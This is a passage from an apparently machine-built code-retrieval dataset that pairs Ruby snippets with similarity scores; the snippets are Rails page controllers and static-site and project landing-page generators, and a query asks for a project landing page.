"def preview\n \n # @lg = PageTag::PageGenerator.previewer( @menu, @theme, {:resource=>(@resource.nil? ? nil:@resource),:controller=>self})\n # html = @lg.generate\n # css,js = @lg.generate_assets \n #insert css to html\n # style = %Q!<style type=\"text/css\">#{css}</style>!\n #editor_panel require @theme, @editors, @editor ...\n # html.insert(html.index(\"</head>\"),style)\n # html.insert(html.index(\"</body>\"),@editor_panel)\n # respond_to do |format|\n # format.html {render :text => html}\n # end\n \n end",
"def show\n \n if Page.count==0\n ensure_homepage\n else\n @page = @page || Page.find_by_alias(app_path)\n # TODO: add the ability for the user to choose whether to render the page or use it as a redirect\n #path = @page.path == '/' ? 'index' : @page.path\n #redirect_to @page.url unless path==app_path\n end\n\n if @page.nil?\n if admin?\n flash[:notice]=\"The page you requested does not exist. Would you like to create it?\"\n @page = Page.new(:path=>app_path)\n @page_template = \"admin\"\n render :action=>'new'\n else\n render :file => \"#{RAILS_ROOT}/public/404.html\", :layout => false, :status => 404\n end\n else\n @[email protected]\n @title = @page.title\n @page_description = @page.description\n\n # Even though the printable pages are rendered in a different layout\n # they also need a different template, since this template should only\n # have a single column\n \n if params[:print] && params[:print] == \"true\"\n @page_template = \"print\"\n elsif @page.url =~ /moving_from_caregivers_menu/\n @page_template = \"template_caregivers\"\n elsif @page.url =~ /moving_from_providers_menu/\n @page_template = \"template_providers\"\n else\n @page_template = @page.template.name\n end\n \n # This isn't really necessary, but it makes the print view very clean\n @pages = [@page]\n\n if params[:popup] && params[:popup] == \"true\"\n render :action => \"show\", :layout => false\n end \n\n if params[:save] && params[:save] == \"true\"\n render_for_save\n end \n \n #Setting the body_id to caregivers to access Noah's customized css. \n #Setting the body_id to caregivers to access Noah's customized css. \n if @page.template.name == 'template_caregivers'\n @body_id = \"Caregivers\" \n @other_perspective, @other_persepective_title = 'moving_from_providers_menu' + $1, 'Health Care Provider Perspective' if @page.url =~ /moving_from_caregivers_menu(.*)/\n elsif @page.template.name == 'template_providers'\n @body_id = \"Providers\" \n @other_perspective, @other_persepective_title = 'moving_from_caregivers_menu' + $1, 'Family Caregiver Perspective' if @page.url =~ /moving_from_providers_menu(.*)/\n elsif @page.template.name == 'template_caregivers_no_menu'\n @body_id = \"Caregivers\" \n elsif @page.template.name == 'template_providers_no_menu'\n @body_id = \"Providers\" \n elsif @page.template.name == 'template_index'\n @body_id = \"Home\" \n end\n \n @left_top_menu = Page.find_by_path 'left_top_menu' \n @left_bottom_menu = Page.find_by_path 'left_bottom_menu' \n \n \n @page_template, @page_type = 'template_pdf', 1 if @page.path == 'CaregiverTool'\n @page_template, @page_type = 'template_pdf', 2 if @page.path == 'ProviderTool'\n \n end\n end",
"def site_populate\n # Get site\n site = Nanoc3::Site.new('.')\n data_source = site.data_sources[0]\n\n # Create home page\n data_source.create_item(\n DEFAULT_ITEM,\n { :title => \"Home\" },\n '/'\n )\n\n # Create stylesheet\n data_source.create_item(\n DEFAULT_STYLESHEET,\n {},\n '/stylesheet/'\n )\n\n # Create layout\n data_source.create_layout(\n DEFAULT_LAYOUT,\n {},\n '/default/'\n )\n\n # Create code\n FileUtils.mkdir_p('lib')\n File.open('lib/default.rb', 'w') do |io|\n io.write \"\\# All files in the 'lib' directory will be loaded\\n\"\n io.write \"\\# before nanoc starts compiling.\\n\"\n end\n end"
] | [
"0.702871",
"0.67735654",
"0.6353886",
"0.6273523",
"0.6258971",
"0.6180119",
"0.613617",
"0.6118454",
"0.6103431",
"0.6102516",
"0.6098231",
"0.6093809",
"0.6092664",
"0.60811114",
"0.60627323",
"0.6057448",
"0.6052244",
"0.60504496",
"0.6045839",
"0.6034876",
"0.59940636",
"0.5942914",
"0.5938164",
"0.59338003",
"0.59038603",
"0.5897831",
"0.5892447",
"0.58901954",
"0.58868366",
"0.58585703",
"0.5826539",
"0.58194464",
"0.58079356",
"0.5800072",
"0.57899106",
"0.5776027",
"0.5769312",
"0.5765812",
"0.57622904",
"0.5758534",
"0.5736312",
"0.57325524",
"0.57225657",
"0.5722343",
"0.57071507",
"0.5704333",
"0.57034934",
"0.56958616",
"0.5694009",
"0.56926864",
"0.56921774",
"0.5686585",
"0.5685797",
"0.5685793",
"0.5685177",
"0.5685177",
"0.5685177",
"0.56786954",
"0.5675779",
"0.5674549",
"0.56664574",
"0.56644464",
"0.5660984",
"0.56603485",
"0.5659347",
"0.5658833",
"0.5658208",
"0.5648638",
"0.5646214",
"0.5637822",
"0.56377953",
"0.5633723",
"0.560851",
"0.5605414",
"0.56053",
"0.56047946",
"0.56026894",
"0.5599755",
"0.55987203",
"0.5595127",
"0.5586591",
"0.557781",
"0.557781",
"0.5575103",
"0.5569682",
"0.55688536",
"0.55662364",
"0.5560026",
"0.55579937",
"0.55486023",
"0.5548475",
"0.55475676",
"0.55461776",
"0.5524698",
"0.55234593",
"0.5522188",
"0.5516674",
"0.5515853",
"0.551407",
"0.5513456"
] | 0.8454481 | 0 |
Create landing page for project +p+ | def generate_project_page(p)
# Redirect page
write_file(p, '../index.html') { build_from_template('redirect.html') }
# Summaries
summaries = Dir["#{p.path}/*.tsv"].map do |i|
b = File.basename(i, '.tsv')
generate_summary_page(i, p)
"<li><a href='s-#{b}.html'>#{format_name(b)}</a></li>"
end.join('')
# Project index page
data = {
project_active: 'active',
information: format_metadata(p),
summaries: summaries.empty? ? 'None' : "<ul>#{summaries}</ul>",
results: format_results(p)
}
write_file(p, 'index.html') { build_from_template('index.html', data) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_empty_page(p)\n cli.say 'Creating project page'\n FileUtils.mkdir_p(browse_file(p, '.'))\n %w[favicon-32.png style.css].each do |i|\n FileUtils.cp(template_file(i), browse_file(p, i))\n end\n write_file(p, 'about.html') do\n build_from_template('about.html', citation: MiGA::MiGA.CITATION)\n end\n end",
"def index\n @main_page = \"Pessoal\"\n @page_title = \"Projetos\"\n @projects = Project.all\n @current_projects = Project.current_projects\n end",
"def index\n\t @title = \"Miradi Data Server\"\n\t \"<html>Welcome to the Miradi Data Server!<br/>\" +\n\t\t\"<form action='projects' method='post' accept-charset='utf8'>\" + \n\t\t\"Project Name: <input type='text' name='name'></input>\" +\n\t\t\"<input type='submit' value='Create Project'></input>\" + \n\t\t\"</form>\"\n\tend",
"def create\r\n @project = current_user.projects.new(project_params)\r\n new_page = @project.pages.new({ name: generate_new_page_name})\r\n @project.startpage = new_page\r\n @project.date_created = Time.now\r\n @project.last_modified = Time.now\r\n respond_to do |format|\r\n if @project.save\r\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: @project }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def home\n error_404 unless (@page = Page.where(:link_url => '/').first).present?\n \n call_back\n \n @test = @profile\n @test2 = @current_patner.nil?\n \n # Member.project; Project.hoster\n \n if !Project.all.empty?\n @projects = Project.all\n end\n end",
"def create_landing\r\n\r\n end",
"def new\n @brigade_project = BrigadeProject.new\n general_static_response(@brigade_project)\n end",
"def index\n #respond(\"<pre>\" + request.env.inspect + \"</pre>\")\n @title = \"Welcome to Pastr!\"\n end",
"def new\r\n session[:from_page] = params[:from_page]\r\n session[:from_event] = params[:from_event]\r\n\r\n @project = Project.new\r\n @project.build_project_image\r\n @project.project_web_links.build\r\n @funders = Funder.all\r\n\r\n respond_to do |format|\r\n format.html {render :layout => 'backend'} # new.html.erb\r\n format.xml { render :xml => @project }\r\n end\r\n end",
"def new\n @project = Project.new\n @title = \"New Project\"\n end",
"def new\n @project = Project.new\n\n render :layout => \"empty\"\n end",
"def create\n @project = Project.new(project_params)\n if @project.save\n redirect_to \"/charity_lp/landingpage\", notice: 'Research Form was successfully created.'\n # format.json { render :show, status: :created, location: @project }\n else\n render 'new'\n\n # format.html {redirect_to \"/projects/new\", notice: 'Errors in submition, please ensure all fields are filled in correctly' }\n # format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end",
"def new\n\t\t@project = Project.new({:project_state_type_id => ProjectStateType.find_by_code('preparation').id})\n\t\tputs @project.inspect\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @project }\n\t\tend\n\tend",
"def first_mandate\n # renders static page\n end",
"def new_project\n @request = Request.new(data_type: :project)\n @request.build_contact\n @request.build_project\n @request.build_general_information\n\n render 'new'\n end",
"def home\n @projects = Project.all.where('published = true')\n @header = \"Published Projects\"\n end",
"def load_index_page\n @page ||= Language.current_root_page\n render template: \"alchemy/welcome\", layout: false if signup_required?\n end",
"def show\n @page_title = \"Voluntips | Projekt: \" + @project.title\n set_show_keywords\n end",
"def show\n @project = Project.find params[:id]\n @page_title = \"Project #{@project.name}\"\n end",
"def home\n\t\t# Home Page\n\tend",
"def new\n \t@pagenav = Page.find_all_by_published('true')\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n redirect_to index_project_path\n end",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def new\n redirect_to project_path id: new_project_from_hash('transient' => true,\n 'name' => 'Untitled Project',\n 'default_workspace' => {\n 'name' => 'Untitled Workspace'\n }).id\n end",
"def url_for_page( project, opts )\n setup_project_urls( project )\n if (opts[:page_name])\n raise \"No bulletin provided!\" if (! opts[:bulletin])\n url_for :controller => 'content', :action => 'page',\n :project_name => project.name, \n :bulletin_title => opts[:bulletin].title,\n :page_name => opts[:page_name],\n :layout => opts[:layout]\n \n end\n end",
"def create\n flash[:notice] = 'The page was successfully created.' if page.save\n respond_with(page, location: project_page_path(page.project, page))\n end",
"def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n add_breadcrumb \"Nouveau\"\n @project = Project.new\n end",
"def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end",
"def front\n @title = \"a community for DIY environmental investigation\"\n render :template => \"home/home-2\"\n end",
"def create\n if @project.save\n flash[:success] = 'Project was saved!'\n redirect_to root_path\n else\n render 'new'\n end\n end",
"def project_new\n new_project.click\n end",
"def new\n\t\t\tlogger.debug \"******* paths loaded are #{Rails.application.config.assets.paths}\"\n\t\t\t@landing_page = LandingPage.new\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # new.html.erb\n\t\t\t\tformat.json { render json: @landing_page }\n\t\t\tend\n\t\tend",
"def new\n @isgrey = true;\n @current_page = \"ADD PROJECT\"\n @project = Project.new\n @project_attachment = @project.project_attachments.build\n @slider_object = @project.slider_objects.build\n @project_field = @project.project_fields.build\n @project_other_field = @project.project_other_fields.build\n\n @types = Type.all\n @new_nav = true;\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def show\n @project = Project.find(params[:id])\n @page_title = \"Project: \" + @project.title\n end",
"def home\n @events = Event.published.confirmed.ordered.tease\n @teaser = Teaser.current.limit(1).first\n @sponsors = Sponsor.order(\"position\").all\n @about = Content.find_by_id(6)\n @donate = Content.find_by_id(7)\n render :layout => \"homepage\"\n end",
"def index\n prepare_projects_display\n \n end",
"def create\r\n\t\t\t@project = params[:id].present? ? Project.find(params[:id]) : Project.new(create_step: 0)\r\n\t\t\t\r\n\t\t\t# Author\r\n\t\t\tif @project.new_record?\r\n\t\t\t\tauthorize! :create, @project\r\n\t\t\telse\r\n\t\t\t\tauthorize! :edit, @project\r\n\t\t\tend\r\n\r\n\t\t\trender layout: 'layout_back'\r\n\t\tend",
"def new\r\n # This can and probably SHOULD be replaced with some URL rewrite magic\r\n # now that the project loader is Redmine project based.\r\n find_project()\r\n end",
"def create\t\t\t\t\t\t\t\t\t# Creates record in db and redirects (porbably to index)\n\t\t@project = Project.new(projects_params)\t# Passes only title and desc.\n\n \trespond_to do |format|\t\t\t\t\t# All this is doing is rendering stuff in case of json\n \t\tif @project.save\n \t\tformat.html { redirect_to @project, notice: 'Created a new project!' }\n \t\tformat.json { render :show, status: :created, location: @project }\n \t\telse\n \t\tformat.html { render :new }\n \t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def create\n redirect_to pages_path\n end",
"def new\r\n @event = Event.new\r\n #@pages = Page.all\r\n @projects_pages = []\r\n projects = Project.all.sort{|a,b| a.name <=> b.name}\r\n projects.each do |project|\r\n @projects_pages << [\"#{project.name}\", project.pages.exclude_placeholder] unless project.pages.blank?\r\n end\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @event }\r\n end\r\n end",
"def show\r\n @new_page = Page.new({project: @project, name: generate_new_page_name})\r\n @new_data_source = DataSource.new({project: @project})\r\n @pages_list = @project.pages.map {|i| [i.id, i.name]}\r\n @data_sources = @project.data_sources.includes(:data_source_type)\r\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n redirect_to action: 'index'\n else\n render 'new'\n end\n end",
"def create\n cmp = AzCompany.find(params[:az_project][:owner_id])\n @project = AzProject.create(params[:az_project][:name], cmp, current_user, params[:az_project][:public_access])\n\n @title = 'Создание нового сайта'\n\n respond_to do |format|\n if @project.id\n flash[:notice] = 'Проект успешно создан.'\n format.html { redirect_to(@project) }\n else\n format.html { render :template => 'az_projects/new', :owner_id => cmp.id }\n end\n end\n end",
"def new\n # == Admin restriction == #\n admin_restriction_area\n @title_admin = \"projets\"\n @project = Project.new\n end",
"def create_village_project\n iframe_src = \"<iframe src='\" + root_url.sub(/\\/$/, '') + embed_project_path(@project) + \"' width='575' height='485'></iframe><p>This project created with <b><a href='\" + root_url + \"'>#{ENV[\"APP_NAME\"]}</a></b> and updated on \" + @project.updated_at.strftime(\"%A, %B %-d at %-I:%M %p\") +\"</p>\"\n iframe_src = iframe_src.html_safe.to_str\n village_user_ids = @project.village_user_ids\n response = access_token.post(\"/api/projects\", params: {project: {name: @project.title, project_type_id: 15, source: \"original\", description: iframe_src, thumbnail_file_id: 769508, user_ids: village_user_ids} })\n village_project_id = response.parsed[\"project\"][\"id\"]\n @project.update_attributes(:village_id => village_project_id)\n end",
"def create\n \tif user_signed_in? then\n\t\t\t@project = Project.new(params[:project])\n authorize @project\n\t\t\tif @project.dmptemplate.nil? && params[:project][:funder_id] != \"\" then # this shouldn't be necessary - see setter for funder_id in project.rb\n\t\t\t\tfunder = Organisation.find(params[:project][:funder_id])\n\t\t\t\tif funder.dmptemplates.count == 1 then\n\t\t\t\t\[email protected] = funder.published_templates.first\n\t\t\t\tend\n\t\t\telsif @project.dmptemplate.nil? || params[:default_tag] == 'true' then\n\t\t\t\tif @project.organisation.nil? || params[:default_tag] == 'true' || @project.organisation.published_templates.first.nil? then\n\t\t\t\t\[email protected] = Dmptemplate.find_by_is_default(true)\n\t\t\t\telse\n\t\t\t\t\[email protected] = @project.organisation.published_templates.first\n\t\t\t\tend\n\t\t\tend\n\t\t\[email protected]_investigator = current_user.name(false)\n\n\t\t\[email protected] = I18n.t('helpers.project.my_project_name')+' ('[email protected]+')'\n\t\t\[email protected]_creator(current_user.id)\n\t\t\trespond_to do |format|\n\t\t\t\tif @project.save\n\t\t\t\t\tformat.html { redirect_to({:action => \"show\", :id => @project.slug, :show_form => \"yes\"}, {:notice => I18n.t('helpers.project.success')}) }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n\t\tend\n\tend",
"def create(p)\n puts \"Creating page #{p}\"\n Dir.mkdir p unless File.exists? p\n Content.new(\"#{@dir}\", @extension).page p\n end",
"def index\n if spartan_signed_in?\n if current_spartan.admin\n @projects = Project.all()\n @header = \"All Projects\"\n else\n @projects = current_spartan.projects.all()\n @header = \"Your Projects\"\n end\n else\n redirect_to '/home'\n end\n \n end",
"def show\n @project = Project.find(@perk.project_id)\n add_breadcrumb @project.name.to_s, '/projects/' + @project.id.to_s\n end",
"def create\n visit(CentralAdmin).create_institutional_proposal\n on ProposalLogLookup do |look|\n look.proposal_number.set @proposal_number\n look.search\n look.select_item @proposal_number\n end\n on InstitutionalProposal do |create|\n create.expand_all\n @document_id=create.document_id\n @doc_header=create.doc_title\n @proposal_number=create.institutional_proposal_number\n fill_out create, :proposal_type, :award_id, :activity_type, :project_title, :description\n set_sponsor_code\n create.save\n end\n if @proposal_log && $current_page.errors.size==0\n pi = make ProjectPersonnelObject, principal_name: @proposal_log.principal_investigator,\n full_name: @proposal_log.pi_full_name,\n document_id: @document_id,\n lookup_class: @lookup_class,\n search_key: @search_key,\n doc_header: @doc_header\n @project_personnel << pi\n view :contacts\n @project_personnel.principal_investigator.set_up_units\n end\n end",
"def create\r\n html=params[:page][:html]\r\n @page = Page.new(params[:page])\r\n respond_to do |format|\r\n if @page.save\r\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\r\n format.json { render json: @page, status: :created, location: @page }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n if !File.directory?(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}/images\")\r\n end\r\n File.open(target, \"w+\") do |f|\r\n f.write(html)\r\n end\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def splash_page\n end",
"def home\n # check if signed_in and then display (you are currently signed in, view your profile)\n # automatically renders page 'users/home'\n if signed_in?\n redirect_to current_user\n else\n @event = Event.find(ENV['demopage'].to_i)\n @event_code = @event.event_code\n @url = demo_record_vg_url(:event_code => @event.event_code)\n\n\n @first_plan = Plan.find_by_my_plan_id(plan_set_one) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @second_plan = Plan.find_by_my_plan_id(plan_set_two)\n @third_plan = Plan.find_by_my_plan_id(plan_set_three)\n render :unsigned_home, :layout => nil\n end\n\n end",
"def generate_main_page_with(specs)\n main_page = Amy::Model::Main.new\n specs['resources'].each_pair { |resource, options|\n main_page.add_resource( { 'resource' => resource, 'title' => options['title'] } )\n }\n main_page.links = specs['links'] || []\n main_page.version = specs['api_version']\n main_page.base_url = specs['base_url']\n @generator.do(\"#{Amy::BASE_DIR}/views/main.erb.html\", main_page)\n end",
"def about\n # Static Page\n end",
"def create\n @new_nav = true;\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n if params[:project_attachments]\n create_attachments\n end\n\n if params[:project_fields]\n create_fields\n end\n\n if params[:slider_objects]\n create_slider_objects\n end\n\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_voyage_port\n return if authorise_for_web(program_name?,'create')== false\n render_new_voyage_port\n end",
"def create\n if DeterLab.join_project(app_session.current_user_id, params[:project_id])\n redirect_to :dashboard, notice: t(\".success\")\n else\n flash.now.alert = t(\".failure\")\n render :new\n end\n rescue DeterLab::RequestError => e\n show_form e.message\n rescue DeterLab::Error => e\n show_form t(\".unknown_failure\")\n end",
"def create\r\n @project = Project.new(params[:project])\r\n @funders = Funder.all\r\n\r\n unless @project.has_outreach\t\t\t\r\n @placeholder_page = Page.new\r\n params[:funder_ids].to_a.each do |funder_id|\r\n @placeholder_page.funders << Funder.find_by_id(funder_id)\r\n end\r\n @placeholder_page.name = \"PLACEHOLDER PAGE - \" + @project.name\r\n @placeholder_page.is_placeholder = true\r\n @placeholder_page.has_outreach = false\r\n end\r\n\r\n respond_to do |format|\r\n if @project.save\r\n\r\n unless @project.has_outreach\r\n @placeholder_page.project = @project\r\n @placeholder_page.save!\r\n end\r\n\r\n expire_fragment('all_projects')\r\n if params[:project][:project_image_attributes].blank? || params[:project][:project_image_attributes][:image].blank?\r\n if session[:from_event] && session[:from_page]\r\n session[:from_page] = nil\r\n flash[:notice] = \"#{$projects_name_replacement.singularize.capitalize} was successfully created.\"\r\n format.html { redirect_to(:controller => 'pages', :action => 'new', :from_event => true)}\r\n elsif session[:from_page]\r\n session[:from_page] = nil\r\n format.html { redirect_to(new_page_path, :notice => \"#{$projects_name_replacement.singularize.capitalize} was successfully created.\") }\r\n else\r\n format.html { redirect_to( \"/users/manage_#{$projects_name_replacement}\", :notice => \"#{$projects_name_replacement.singularize.capitalize} was successfully created.\") }\r\n end\r\n format.xml { render :xml => @project, :status => :created, :location => @project }\r\n else\r\n format.html { render :action => \"crop_image\", :layout => 'backend' }\r\n end\r\n else\r\n @project.build_project_image\r\n\r\n format.html { render :action => \"new\", :layout => 'backend' }\r\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def index\n @current_page = \"PROJECTS\"\n @projects = Project.all\n @projects_for_review = Project.pending_review if current_user\n @new_nav = true;\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def generate_project_file\n template_file = @template_dir + 'hhp_file.hhp.rhtml'\n\n @values = { :title => @options.title, :opname => @outputdir.basename }\n \n static_files = ['index.html', 'classindex.html', 'fileindex.html']\n @values[:html_files] = static_files + (@generated_files+@classes).map{|f| f.path}.uniq\n \n out_file = @outputdir + @project_name\n debug_msg \" rendering #{out_file}\"\n render_template template_file, out_file do |io| binding end\n end",
"def project; end",
"def create\n\t\t@project = Project.new(params[:project].merge({:user_id => present_user.id}))\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tif @project.save\n\t\t\t\tformat.html { redirect_to @project, notice: t('app.projects.created') }\n\t\t\t\tformat.json { render json: @project, status: :created, location: @project }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new\n # Agrega el breadcrumb de la pagina new de proyecto\n add_breadcrumb I18n.t('project.new'), :controller => \"projects\", :action => \"new\"\n @project = Project.new\n end",
"def projectinfo_for(p)\n res = sitemap.find_resource_by_page_id(\"projectinfo/#{project_slug(p)}\")\n if res\n return res.render\n end\n end",
"def project_based_concept_planning_fulfillment\n @project = Project.find_by_id params[:project_id] \n \n add_breadcrumb \"Project Management\", 'projects_url' \n set_breadcrumb_for @project, 'concept_planning_fulfillment_url' + \"(#{@project.id})\", \n \"Concept Planning\"\n \n # render :file => \"projects/job_requests/concept_planning/concept_planning_fulfillment\"\n end",
"def index\n standard_index(Project, params[:page], false, \"\", :name, false, true)\n end",
"def add_project\n\n\t\t@projects = Project.new(project_params)\n\t\tif @projects.save\n\t\t\tredirect_to '/details'\n\t\telse\n\t\t\trender 'index'\n\t\tend\n\tend",
"def default_page\n\t\t\t\tDir.chdir File.join(self.source, @site_name)\n\t\t\t\tFile.open Settings::PAGES_TEMPLATE + '/page.md', 'r' do |file|\n\n\t\t\t\t\tfront_matter = {\n\t\t\t\t\t\t'title' => 'Home Page',\n\t\t\t\t\t\t'date' => Time.now.strftime(\"%Y-%m-%d\"),\n\t\t\t\t\t\t'author' => 'Your Name',\n\t\t\t\t\t\t'template' => 'page'\n\t\t\t\t\t}\n\n\t\t\t\t\tcontents = Liquid::Template.parse(file.read).render front_matter \n\t\t\t\t\tFile.open(File.join(\"pages\", \"index.md\"), \"w\") do |f|\n\t\t\t\t\t\tf.write contents\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tFileUtils.mkdir_p(File.join(self.source, @site_name, \"media/images\", \"index\"))\n\t\t\tend",
"def homepage\n end",
"def homepage\n end",
"def index\t\t\t\t\t\t\t\t\t# Index is a list of things or ...basically your index page.\n\t\t@projects = Project.all\t\t\t\t\t# Make a variable that can be seen by the view! with the @ - IT'S PLURAL!\n\tend",
"def new\n @page = Page.new\n @pagelist = @club.all_pages\n \n @page_title = \"New Page\"\n @site_section = \"admin\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def template_page(site); end",
"def index\n #@projects = Project.all\n PivotalTracker::Client.token = current_user.setting.pt_api_key\n logger.debug current_user.setting.pt_api_key\n @projects = PivotalTracker::Project.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"def landing\n \n end",
"def landing\n \n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def index\n redirect_to Project.find(params[:project_id])\n end",
"def index\r\n #front end view used\r\n\r\n session[:filter_type] = nil\r\n session[:filter_query] = nil\r\n Rails.cache.delete('total_stats')\r\n\r\n #randomize what project a user sees when first going to the website\r\n #changes everyday at midnight\r\n @project = []\r\n\r\n if cookies[:landing_project].blank?\r\n rand_command = ActiveRecord::Base.connection.adapter_name.downcase.include?('mysql') ? \"RAND()\" : \"RANDOM()\" #RAND() for MySQL; RANDOM() for sqlite3\r\n @project = Project.exclude_multi_project.has_outreach.published.first(:order => rand_command)\r\n cookies[:landing_project] = { :value => @project.name, :expires => Time.now.midnight + 1.day} if @project\r\n else\r\n @project = Project.find_by_name(cookies[:landing_project])\r\n end\r\n\r\n if @project\r\n results = get_project_slider_info(@project.name)\r\n @project_slider_html = results\r\n @formatted_project_name = @project.name.gsub(' ','_')\r\n end\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(:controller => 'projects', :action => 'show', :id => @formatted_project_name) }\r\n format.xml { render :xml => @project }\r\n end\r\n end",
"def setup\n @page = pages(:homepage)\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def new\n @project = Project.new\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n prepare\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def project_based_shoot_finalization\n @project = Project.find_by_id params[:project_id] \n\n add_breadcrumb \"Project Management\", 'projects_url' \n set_breadcrumb_for @project, 'project_based_shoot_finalization_url' + \"(#{@project.id})\", \n \"Shoot Data Planning\"\n\n # render :file => \"projects/job_requests/concept_planning/concept_planning_fulfillment\"\n end",
"def new\n @project = Project.new()\n end",
"def new_project\n if current_admin.present? || current_client.present?\n @project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n else\n redirect_to new_admin_session_path and return\n end\n end"
] | [
"0.7371354",
"0.6664608",
"0.6611665",
"0.6508865",
"0.6410716",
"0.63955003",
"0.6310804",
"0.6294235",
"0.6290953",
"0.6285155",
"0.6269014",
"0.6267971",
"0.62649435",
"0.6193769",
"0.6182318",
"0.6173127",
"0.6159468",
"0.61482817",
"0.61232287",
"0.61231667",
"0.6119241",
"0.61133945",
"0.6076119",
"0.6061125",
"0.6037977",
"0.6023587",
"0.60214686",
"0.6019947",
"0.60066587",
"0.5999332",
"0.5987701",
"0.59870595",
"0.59753805",
"0.5973352",
"0.59595346",
"0.5952027",
"0.59424067",
"0.59383935",
"0.59330136",
"0.59148455",
"0.5912361",
"0.5909802",
"0.59066236",
"0.58936757",
"0.5878224",
"0.586912",
"0.58632815",
"0.5856199",
"0.58553576",
"0.58530986",
"0.5838786",
"0.58359104",
"0.58343595",
"0.5826826",
"0.5826297",
"0.5824759",
"0.5822974",
"0.58218324",
"0.5796068",
"0.57920676",
"0.57757246",
"0.5775328",
"0.5771674",
"0.57714254",
"0.57694465",
"0.57676435",
"0.5765407",
"0.57642645",
"0.57529616",
"0.5741271",
"0.5741104",
"0.57387674",
"0.57321244",
"0.57321244",
"0.5731731",
"0.57314265",
"0.57286775",
"0.572831",
"0.5728024",
"0.5728024",
"0.5723528",
"0.57194364",
"0.57161915",
"0.57154936",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5712462",
"0.5710821",
"0.57092094",
"0.57030636",
"0.5688543"
] | 0.77630687 | 0 |
Create page for the summary +path+ in project +p+ | def generate_summary_page(path, p)
b = File.basename(path, '.tsv')
table = '<table class="table table-hover table-responsive">'
File.open(path, 'r') do |fh|
